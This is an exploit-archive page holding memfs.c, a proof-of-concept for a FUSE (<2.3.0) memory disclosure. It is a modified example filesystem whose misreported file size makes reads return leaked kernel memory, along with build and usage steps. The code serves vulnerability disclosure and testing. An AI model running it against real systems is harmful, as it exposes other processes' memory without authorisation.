exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

memfs.c

memfs.c
Posted Jun 18, 2005
Authored by Sven Tantau | Site sven-tantau.de

Proof of concept exploit for a memory disclosure vulnerability that exists in FUSE versions below 2.3.0.

tags | exploit, proof of concept
SHA-256 | 27cf06b929a25397727de580abced4cfcb5c502cb14f5b370aa41eedcc0983c8

memfs.c

Change Mirror Download
/*
memfs.c: Proof of concept exploit for FUSE < 2.3.0

memfs.c is based on fuse/example/hello.c from Miklos Szeredi

Details: http://www.sven-tantau.de/public_files/fuse/fuse_20050603.txt

Build: Copy memfs.c over hello.c and run make in the fuse base directory

Usage: Create a mountpoint ; ./hello /mnt/getmem/ ; cat /mnt/getmem/memfs ;
If you see random bytes you are vulnerable.

Sven Tantau - http://www.sven-tantau.de/ - 01.06.2005



FUSE: Filesystem in Userspace
Copyright (C) 2001-2005 Miklos Szeredi <miklos@szeredi.hu>

This program can be distributed under the terms of the GNU GPL.
*/

#include <fuse.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>

static const char *memfs_str = "";
static const char *memfs_path = "/memfs";

static int memfs_getattr(const char *path, struct stat *stbuf)
{
int res = 0;

memset(stbuf, 0, sizeof(struct stat));
if(strcmp(path, "/") == 0) {
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
}
else if(strcmp(path, memfs_path) == 0) {
stbuf->st_mode = S_IFREG | 0444;
stbuf->st_nlink = 1;
stbuf->st_size = 4223;
}
else
res = -ENOENT;

return res;
}

static int memfs_getdir(const char *path, fuse_dirh_t h, fuse_dirfil_t filler)
{
if(strcmp(path, "/") != 0)
return -ENOENT;

filler(h, ".", 0, 0);
filler(h, "..", 0, 0);
filler(h, memfs_path + 1, 0, 0);

return 0;
}

static int memfs_open(const char *path, struct fuse_file_info *fi)
{
if(strcmp(path, memfs_path) != 0)
return -ENOENT;

if((fi->flags & 3) != O_RDONLY)
return -EACCES;

return 0;
}

static int memfs_read(const char *path, char *buf, size_t size, off_t offset,
struct fuse_file_info *fi)
{
size_t len;
(void) fi;
if(strcmp(path, memfs_path) != 0)
return -ENOENT;

len = strlen(memfs_str);
if (offset < len) {
if (offset + size > len)
size = len - offset;
memcpy(buf, memfs_str + offset, size);
} else
size = 0;

return size;
}

static struct fuse_operations memfs_oper = {
.getattr = memfs_getattr,
.getdir = memfs_getdir,
.open = memfs_open,
.read = memfs_read,
};

int main(int argc, char *argv[])
{
return fuse_main(argc, argv, &memfs_oper);
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close